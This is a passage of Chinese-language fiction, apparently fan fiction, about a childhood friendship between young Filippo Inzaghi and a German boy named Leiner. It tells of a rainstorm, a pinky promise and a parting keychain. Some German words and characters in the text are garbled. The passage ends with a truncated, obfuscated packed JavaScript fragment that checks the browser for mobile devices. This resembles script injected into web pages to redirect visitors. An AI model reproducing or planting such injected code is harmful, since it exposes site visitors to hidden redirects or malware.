但他学会了。
下次菲利波进球,这个小德国人会在场边,用机器人播报般的平静语调喊:“Bel gol。” 然后在菲利波瞪过来时,补充一个微不可察的笑。
绑定关系的转折点,发生在一个暴雨突至的下午。
孩子们作鸟兽散。菲利波拉着莱纳躲到看台底下。雨砸在铁皮顶上像打仗,
莱纳忽然开始发抖——不是冷,是某种恐慌。他盯着外面的雨幕,蓝眼睛里的感情好像乱了,嘴里冒出快速的、菲利波完全听不懂的德语:
“Ma sagte, sie kot vor deRegen…(妈妈说雨前会来接我)…… Uhrzeit?(几点了)…… Ich soll hier bleiben…(我应该呆在这里)……”
他反复看手腕上不存在的表。
菲利波意识到,这个总是平静的小家伙,在害怕。
“喂,莱纳。” 菲利波蹲下来,扳过他肩膀,“你看我。”
莱纳焦距涣散。
菲利波用上了刚从动作片里学来的、自以为很帅的姿势,拍拍胸口:“我,菲利波·因扎吉,在这儿。雨停前,我罩你。听懂没?”
又用他知道的仅有的几个德语单词拼凑:“Ich(我)…… hier(在这里)…… kein Proble没问题)!”
莱纳愣愣地看着他。
雨声、恐慌、失约的承诺……这些混乱,似乎被眼前这个头发滴水、表情夸张到有些滑稽的意大利男孩强行截断了。
过了很久,莱纳很小声地、用菲利波能听懂的意语单词混合德语说:“哥哥……不离开?”
菲利波:“不离开!我发誓!”
虽然九岁的他并不真的理解誓言的分量。
莱纳点点头。
然后,他做了一件让菲利波终身难忘的事——他伸出小指,勾住菲利波的小指,用德语说:“Versprechen.(承诺)”
那一刻起,莱纳的“刷新模式”变了。
他不再是随机出现的NPC。只要菲利波在球场,他几乎总在。像终于找到了唯一稳定的服务器地址。
这种绑定持续了几年,直到莱纳十岁,菲利波十一岁那年。
那段时间他的“刷新”变得很不稳定,有时来也匆匆,小小年纪就天天带着黑眼圈,德语嘀咕的频率变高。菲利波十一岁,忙着踢球、闯祸、梦想成为大球星,没太深究。
直到某个毫无征兆的傍晚,莱纳来时背了个更大的包。
他找到正在练射门的菲利波,塞给他一个东西——是个手工粗糙的钥匙扣,用皮绳编成,中间串着个小小的、画了足球和数字“9”的木片。
“给哥哥。”
莱纳的意大利语比初见时流利多了,但语调还是平直,“我要……回德国的学校。对不起。”
菲利波愣住:“多久?”
莱纳:“不知道。我会尽力。”
他低下头,用德语快速说了一句,声音很轻:“Vergiss ch nicht.(别忘了我)”
然后他转身走了,没回头。
小背影在夕阳下拉得很长,还是那么笔直,却像串勉强执跑完告别程序的乱码。
菲利波握着那个钥匙扣,站了很久。他后来把它扔进了抽屉深处。
童年记忆的压缩算法开始工作。
那个总是跟在他身后、用德语小声吐槽、会勾他手指说“承诺”的德国小孩,随着时间推移,被压缩成了一个模糊的符号——“我以前好像认识一个奇怪的德国小子”。
直到他十五岁,皮亚琴察青训营。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|